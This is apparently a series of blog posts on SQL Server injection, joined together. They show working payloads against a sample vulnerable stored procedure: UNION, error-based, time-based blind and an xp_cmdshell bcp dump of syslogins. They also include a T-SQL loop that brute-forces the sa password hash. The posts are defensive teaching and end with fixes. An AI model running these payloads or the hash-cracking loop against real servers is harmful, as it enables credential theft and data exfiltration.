Watch this week's video on YouTube

Following up on last week's post about the different types of SQL injection, this week I want to show how injection can be used to obtain a SQL login and its password.

My goal with today's post is to show how easy it is for someone to do this to your server.  My hope is that if your security practices aren't currently the best, the least you can do is learn and follow the few simple steps at the end of this post to help protect your server.

Iterating the Login

Let's try to guess the current login by iterating over characters one at a time:

SET NOCOUNT ON;

DECLARE 
    @FirstDecimal int = ASCII('!'),
    @LastDecimal int = ASCII('~'),
    @CurrentDecimal bigint = ASCII('!'),
    @SystemUser nvarchar(128) = '',
    @CurrentPosition int = 1;

BEGIN TRY  
    WHILE (1=1)
    BEGIN
        IF ASCII(substring(SYSTEM_USER,@CurrentPosition,1))=@CurrentDecimal 
        BEGIN 
            SET @SystemUser = @SystemUser + CHAR(@CurrentDecimal); 
            SET @CurrentPosition = @CurrentPosition + 1;
            --SELECT 'Letter found: ' + @SystemUser;
        END

        IF @CurrentDecimal = @LastDecimal
        BEGIN
            SET @CurrentDecimal = @FirstDecimal;
        END
        ELSE
        BEGIN
            SET @CurrentDecimal = @CurrentDecimal + 1;
        END

        IF SYSTEM_USER = @SystemUser
        BEGIN
            SELECT @SystemUser AS DiscoveredSystemUser;
            BREAK;
        END
    END
END TRY 
BEGIN CATCH   
    SELECT 
        @SystemUser AS SystemUser,
        ERROR_NUMBER() AS ErrorNumber,
        ERROR_MESSAGE() AS ErrorMessage;  
END CATCH; 

The key to this script is line 13 where we use SUBSTRING() to grab the first letter of SYSTEM_USER and check to see if it equals the current letter we are iterating over (if we could perform a union-based attack and return SYSTEM_USER outright, that of course would be easier).

But having the ability to execute a whole script like that to determine the login in milliseconds is a luxury.  If you are actually injecting code into a dynamic query, a more realistic looking attack might look like this (using our vulnerable stored procedure from last week's demos):

EXEC dbo.USP_GetUserFullName @Username = N'''; IF UPPER(substring(SYSTEM_USER,1,1))=''S'' WAITFOR DELAY ''00:00:05'';--';

Now if the query takes 5 second to return results, we know we found the correct first letter ("S" in this example).  We can repeat this for each subsequent character until we have the whole login.  Easy.

Note: A similar process can be performed for SQL Users as well.

Cracking the Password

Passwords are more work to obtain.  You could start guessing common passwords (eg. "admin", "ilovesql", "", etc...) and trying to use them to login, but once you deplete the easy-to-guess list, you will have to try something else.

A more systematic method requires you to first obtain the login's password hash:

SELECT
      CAST([password] AS VARBINARY(MAX))
      ,[loginname]
  FROM [master].[sys].[syslogins];
  WHERE loginname='sa'

Which returns:

That first column is SQL Server's hashed version of the login's password.  And while we were able to determine the SQL login character by character, we won't be able to do the same for this hashed password. 

To "crack the hash", what we have to do is guess a password, hash it, and see if it is equal to the hash we found above.  If it doesn't match, we guess another password, hash, check, and repeat until we find the correct password.

The simplest way to do this is to iterate over the entire password space.  The very poorly T-SQL code written below does that for 4 character passwords.  We basically start with guessing a password "!!!!", checking to see if it's hash matches, and if not then moving on to the next character combintation (ie. !!!#", "!!!\$", "!!!%", etc...):

DECLARE 
    @FirstDecimal int = ASCII('!'), /*33 in decimal*/
    @LastDecimal int = ASCII('z'), /*122 in decimal*/
    @PasswordFound bit = 0,
    @Password nvarchar(128) = '',
    @HashedPassword varbinary(MAX) = 0x0200C2455E03ECA51AE88CE6619644D250CD07650C8D13C6992662B7C7C1D085A9D18B3B9AF6E75D1D9DC1E17ADC23C48BB68927A4C670026039BFE948FB4FF367FBDC08365F
DECLARE 
    @DecimalDifference int = @LastDecimal - @FirstDecimal,
    @Char1 int = @FirstDecimal,
    @Char2 int = @FirstDecimal,
    @Char3 int = @FirstDecimal,
    @Char4 int = @FirstDecimal;

BEGIN TRY  
    WHILE (@Char1 <= @LastDecimal AND @PasswordFound = 0)
    BEGIN
        WHILE (@Char2 <= @LastDecimal AND @PasswordFound = 0)
        BEGIN
            WHILE (@Char3 <= @LastDecimal AND @PasswordFound = 0)
            BEGIN
                WHILE (@Char4 <= @LastDecimal AND @PasswordFound = 0)
                BEGIN
                    SET @Password = CHAR(@Char1) + CHAR(@Char2) + CHAR(@Char3) + CHAR(@Char4) 
                    /* for debugging IF @Password = 'admin'  COLLATE Latin1_General_CS_AS */ /*make sure we are doing a case sensitive check */
                    IF PWDCOMPARE(@Password,@HashedPassword) = 1
                    BEGIN
                        SELECT @Password;
                        SET @PasswordFound = 1;
                    END
                    SET @Char4 = @Char4 + 1;
                END
                SET @Char4 = @FirstDecimal;
                SET @Char3 = @Char3 + 1;
            END
            SET @Char4 = @FirstDecimal;
            SET @Char3 = @FirstDecimal;
            SET @Char2 = @Char2 + 1;
        END
        SET @Char4 = @FirstDecimal;
        SET @Char3 = @FirstDecimal;
        SET @Char2 = @FirstDecimal;
        SET @Char1 = @Char1 + 1;
    END
END TRY 
BEGIN CATCH   
    SELECT 
        @Password AS Password,
        ERROR_NUMBER() AS ErrorNumber,
        ERROR_MESSAGE() AS ErrorMessage;  
END CATCH; 

After about 9 minutes, SQL Server returns my very easy to guess sa password in clear text:

At this point you might be thinking, "9 minutes for a 4 character password!  Doesn't that mean it would take years to crack an 8 character, or 12 character password?"

Yes and no.  T-SQL is not the right tool for the job here.  A better tool would be something that is optimized for hash checking, something like hashcat.

Hashcat performs the same type of looping logic to check an entire address space for a matching hash, but it does so very quickly with lots of optimizations (word lists, prefix/suffix mutations, etc..).  It also multithreads the process and can make use of graphics cards to perform computations even faster.

I don't want to turn this into a "step by step how to use hashcat to crack your SQL logins" post, but be aware that doing so is fairly straightforward.  Also know that GPU optimized cloud machines are easily available, and running hashcat on them easily gets you into the 470 million hashes/second range.

With some back of the napkin calculations, that means your completely random 8 character password would take at most:

(((((96 character subset) ^ (8 character password)) / (470,000,000))/60- minutes)/24 hours) = ~10658 days

Now that may seem like a long time, but remember, that's one machine doing the processing over the entire character space. 

The cloud is easily abused for solving performance problems by spinning up additional hardware.  The same tools you have to run your company's cloud workloads are available to criminals as well.

And hardware is always improving.  Could new hardware come out in the next couple years that will speed this up even more?  Almost certainly.

Finally this is the longest possible time if would take - if your password isn't completely random (uses dictionary words) or the hacker knows something about your password schema (all passwords use only letters and numbers), then it's pretty much game over.

Don't Let This Happen To You

Hopefully you are using at least 8 character, random passwords with a full subset of upper and lowercase letters, numbers, and symbols.  That should be the minimum you should be doing today, knowing full well that this is already probably inadequate, if not today then in the very near future. 

If you aren't using long passwords, then stop reading right now and go figure out how to change this right away.  SQL Server allows you to use passwords up to 128 characters long - make use of  all of those characters!

In addition to using long, random passwords, follow the best practices mentioned in last week's post as well: use the principle of least privilege to restrict as much access to your logins as possible, and prevent SQL injection from allowing important information from leaving your server in the first place.

Watch this week's video on YouTube

I'm not advocating that you start using SQL injection to start stealing other people's data.

However, I do think that you should familiarize yourself with the various SQL injection techniques so that you will be better prepared to prevent them from happening in your own queries.

The rest of this post will go over four common techniques used for extracting information from SQLServer, as well as simple solutions to prevent them. 

We'll be looking at all of these techniques directly in SQL Server, but be aware that all of this information is potentially obtainable from an app front-end as well.

UNION-Based Attacks

Perhaps the easiest way for a hacker to retrieve additional data from an injection vulnerable query is through a UNION-based attack.

A UNION-based injection attack adds a UNION or UNION ALL statement to your original stored procedure query, effectively returning any data requested by the second query.

Let's say we have a stored procedure that returns user information for the @Username value passed in:

-- Create our sample table data
CREATE TABLE dbo.Users
(
    Id int IDENTITY(1,1),
    Username NVARCHAR(100),
    FirstName NVARCHAR(100),
    LastName NVARCHAR(100)
);
GO
INSERT INTO dbo.Users VALUES ('BDubs','Bert','Wagner');
INSERT INTO dbo.Users VALUES ('JaneDough', 'Jane', 'Doe');

SELECT * FROM dbo.Users;

-- Create our procedure to retrieve name information
CREATE PROCEDURE dbo.USP_GetUserFullName
    @Username NVARCHAR(100)
AS
BEGIN
    DECLARE @Query NVARCHAR(MAX) = N'
        SELECT
            UserName,
            FirstName,
            LastName
        FROM
            dbo.Users
        WHERE
            Username = ''' + @UserName + N'''';
    EXEC(@Query);
END

This query is poorly written and easily injectable:

-- No injection
EXEC dbo.USP_GetUserFullName @Username = N'BDubs'

-- Injection, returns all rows
EXEC dbo.USP_GetUserFullName @Username = N'BDubs'' OR 1=1--';

Let's pretend we're a nefarious hacker and want to determine what SQL Server logins are available to us on the server.  We can use a UNION-based injection attack to query sys.syslogins to get this information and return it as part of the original query:

EXEC dbo.USP_GetUserFullName @Username = N'BDubs'' UNION ALL SELECT loginname,null,null FROM master.sys.syslogins;--';

This union based attack simply concatenates the results of another query to our original row of data.

Error-Based Attacks

Let's say the UNION-based technique doesn't work or we want an alternate way of determining the currently logged in account.

Another option is to have the application reveal information about the database through error output.

We can pass in a query that we know will produce an error, in this case casting a string as an INT:

EXEC dbo.USP_GetUserFullName @Username = N'''; SELECT CAST(SYSTEM_USER AS INT);--';

Voila! If the application doesn't handle the error message correctly, it will conveniently show the system login as part of the error message.

Out-Of-Band Delivery

The first two techniques we looked at have been in-boundattacks: that is, we used the injectable query to return data to us directly.

But what if there is sufficient security preventing unexpected data from being directly returned to our app?  We have to get the data we want off of the server via other means.

This example uses xp_cmdshell to write our data to a text file, but we could have just as easily used this to send ourselves an email, etc…

EXEC dbo.USP_GetUserFullName @Username = N'''; EXEC xp_cmdshell ''bcp "SELECT * FROM master.sys.syslogins" queryout "%TEMP%\pwned.txt" -c -T -q  --';

Blind Injection

A secured server may not allow us to directly output the data we want, but that doesn't mean we can't infer certain information.

Normally we pride ourselves in being able to write consistently fast queries. But our dedication to consistently fast executions provides hackers with ways of discerning information without any explicit data output.

For example, let's say we want to guess if the currently logged in account is "sa".  We can write logic to check this and purposely slow the injectable query's execution to determine we our guess is correct:

EXEC dbo.USP_GetUserFullName @Username = N'''; if (SELECT SYSTEM_USER) = ''sa'' waitfor delay ''00:00:05'';--';

If our query with an expected parameter normally returns in milliseconds, forcing a 5-second delay will indirectly inform us that our guessed "sa" account name is correct.

Protecting Yourself

The easiest way to prevent SQL injection is to avoid using dynamic SQL when it's unnecessary. In our example stored procedure above, there is no reason we should be using dynamic SQL -  this should be a parameterized query that is completely safe from injection attacks:

CREATE PROCEDURE dbo.USP_GetUserFullName
    @Username NVARCHAR(100)
AS
BEGIN
    SELECT
        UserName,
        FirstName,
        LastName
    FROM
        dbo.Users
    WHERE
        Username =  @UserName;
END

If you must use dynamic SQL, then execute your programmatically built query string with sp_executesql. This procedure will safely parameterize your inputs and prevent from injection from occurring.

Finally, make sure the accounts executing your queries have as few allowed permissions as possible.  This way, even if your query has an injection vulnerability, the amount of damage an attacker can do is minimal.  Many of the examples above would have failed if our account simply didn't have access to certain system tables or system procedures like xp_cmdshell.

These solutions will not cover every scenario, but they will cover the majority of scenarios and improve our chances of keeping our information secure.

Watch this week's video on YouTube

One misconception some people have about SQL injection is that it can only happen when concatenating a user input parameter directly into your dynamically built query string:

While this type of injection flaw is easy to spot, there are other less direct ways an injection attack can occur.

Second Order SQL Injection Attacks

SQL injection attacks that delay execution until a secondary query are known as "second order".

This means a malicious user can inject a query fragment into a query (that's not necessarily vulnerable to injection), and then have that injected SQL execute in a second query that is vulnerable to SQL injection.

Let's look at an example.

Doggo Pics

Imagine a website where dog owners can share pictures of their best friends:

The internet is a great place

Now imagine that users of Doggo Pics can set a preference for what order they view pictures when they visit the website:

When a user saves their sorting preference, the sort column and order get saved to a preferences table in the database:

No SQL injection vulnerabilities here

The next time the user goes to view the page, the doggo pictures will be sorted based on their saved preferences.  This works because the query pulling the pics/descriptions is dynamically sorting the data based on the user's preference:

We are dynamically sorting based on the user's preference

Viewing doggos sorted by longest tongue length

The above flow is how the website is supposed to function.  So how does a malicious user inject SQL code into these queries if the only query they directly save input into is the UpdateSortOrder procedure?

The Attack

So the developer of Doggo Pics was too busy enjoying pictures of doggos to implement any type of input validation on sort order preferences.  This means a hacker can do something like inject a SQL statement onto the end of the sort order dropdown:

The hacker modifies the "desc" value to include an INSERT statement

When our dbo.UpdateSortOrder procedure executes on the backend, it looks like this:

See where this is going?  Now when our stored procedure that dynamically sorts the picture data executes, the hacker's INSERT statement is going to execute as well:

What happens next is simple: The first time our malicious user goes to view the Doggo Pics, they receive the pictures in their preferred sort order.  Additionally an INSERT INTO statement executes back on the server.

The second time the user views the Doggo Pics page, the values from that previously ran INSERT INTO statement are now visible on the screen:

So even though the first query the user encounters (saving sort order preferences) is entirely SQL injection free, our second order SQL injection attack occurs when our second SQL query dynamically executes the injected code that was stored in our user preferences table in the database.

How do I first and second order SQL injection attacks?

I recently presented at the GroupBy conference where I showed exactly how to protect your data from these types of attacks.

My presentation was recorded and is available for you to watch on YouTube:

https://www.youtube.com/watch?v=qrOLg3wjjOs

You can also read more about different types of SQL injection attacks and preventative solutions by reading through my blog archives.

Someone recently told me that they don't need to worry about SQL injection because they are using an ORM.

Oh boy.

ORMs don't automatically prevent SQL injection

Watch this week's video on YouTube

Object-relational mapping (ORM) tools allow developers to easily access an application's data layer without having to write lots of redundant code.

Most ORMs will safely parameterize certain types of queries.  The following examples use Entity Framework and SQL Server, but these examples should apply to most other major ORMs and RDBMSs).

Our LINQ query making it easy to access our data layer:

A beautiful, clean, LINQ query

And then the SQL query that our ORM generated.

A query structure that only a mother could love

You'll notice the generated SQL query is using sp_executesql that has parameterized our input variable value "TFly37".  In this instance we can say the ORM did a good job following best practices in preventing a successful SQL injection attack.

But while ORMs may prevent some SQL injection attempts, there is no guarantee that they will prevent all injection attempts.

What follows are examples of when ORMs can allow for successful injection attacks.

Programatically assembled SQL

ORMs often provide the ability for developers to map the results of adhoc SQL queries to models.  Adhoc queries mean potential injection vulnerabilities.

Consider the following:

Looks a lot like your typical SQL injection vulnerability doesn't it?

Entity Framework, or any ORM for that matter, won't be able to recognize a parameter concatenated directly into the query string.

Now hopefully the developer has some really strong input validation  on the "username" parameter, but the fact still stands: this query is injectable and the ORM will happily execute it.

Stored Procedures

Does the logic needed in your app already exist as a stored procedure?

Excellent!  Let's be DRY (don't-repeat-yourself) and call our procedure directly from our ORM:

Parameterized with the value AND datatype - give this developer a raise!

So in this example, the ORM and developer have done everything right.  So where's the injection vulnerability?

Uh oh...

Now let me be clear: this injection vulnerability is not the ORM's fault.

However, it is the developer's fault if he is blindly using a procedure without knowing what it does.  It's also the DBA's fault if she provided an injectable procedure assuming the developer would sanitize any input values in the app.

Security is hard.  Everyone needs to work together and be responsible for doing everything within their means to secure their applications.

ORM injection

Technically this isn't an example of SQL injection.

But that's why the title of this post says "2.5" instead of "3".

In this example I'm using a dynamic LINQ to access my data:

Hello concatenation my old friend

If we pass the value " OR 1 == 1 OR UserName== we will have the ORM convert it to the following query:

Game over

Injection takes many forms and doesn't just come straight from SQL.  It's important to follow best practices in all languages and tools to prevent security incidents.

Want to learn more?

If you are interested in learning more about how to protect yourself from SQL injection, be sure to  watch my online session at GroupBy at 9am Eastern on March 16th, 2018.

Photo by Jaanus Jagomägi on Unsplash

Interested in learning more about SQL injection attacks, including how to prevent them?  Attend my online webcast on Tuesday November 14, 2017 at 1PM Eastern at the PASS Security Virtual Group.

SQL injection continues to be one of the biggest security risks that we face as database professionals.

Every year, millions of users' personal information is leaked due to poorly written queries exploited by SQL injection.  The sad truth is that SQL injection is completely preventable with the right knowledge.

My goal today is to cover four common misconceptions that people have about SQL injection in an effort to dissuade any illusions that an injection attack is not something that can happen to you.

Watch this week's video on YouTube

1. "My database information isn't public"

Let's see, without me knowing anything about your databases, I'm guessing you might have some tables with names like:

• Users
• Inventory
• Products
• Sales
• etc...

Any of those sound familiar?

You might not be publicly publishing your database object names, but that doesn't mean they aren't easy to guess.

All a malicious user needs is a list of common database table names and they can iterate over the ones they are interested in until they find the ones that match in your system.

2. "But I obfuscate all of my table and column names!"

Oh jeez.  I hope you don't do this.

Some people do this for job security ("since only I can understand my naming conventions, I'm guaranteeing myself a job!") and that's a terrible reason in and of itself.

Doing it for security reasons is just as horrible though.  Why?  Well, have you ever heard of some system tables like sys.objects and sys.columns?

SELECT 
    t.name, c.name 
FROM 
    sys.objects t
    INNER JOIN sys.columns c 
        on t.object_id = c.object_id

A hacker wanting to get into your system can easily write queries like the ones above, revealing your "secure" naming conventions.

Security through obscurity doesn't work.  If you have table names that aren't common, that's perfectly fine, but don't use that as your only form of prevention.

3. "Injection is the developer's/dba's/somebody else's problem"

You're exactly right.  SQL injection is a problem that should be tackled by the developer/dba/other person.

But it's also a problem that benefits from multiple layers of security, meaning it's your problem to solve as well.

Preventing sql injection is hard.

Developers should be validating, sanitizing, parameterizing etc...  DBAs should be parameterizing, sanitizing, restricting access, etc..

Multiple layers of security in the app and in the database are the only way to confidently prevent an injection attack.

4. "I'm too small of a fish in a big pond - no one would go out of their way to attack me"

So you run a niche business making and selling bespoke garden gnomes.

You only have a few dozen/hundred customers, so who would bother trying to steal your data with SQL injection?

Well, most SQL injection attacks can be completely automated with tools like sqlmap.  Someone might not care about your business enough to handcraft some SQL injection code, but that won't stop them from stealing your handcrafted garden gnome customers' data through automated means.

No app, big or small, is protected from the wrath of automated SQL injection tooling.

Interested in learning more about SQL injection attacks, including how to prevent them?  Attend my online webcast on Tuesday November 14, 2017 at 1PM Eastern at the PASS Security Virtual Group.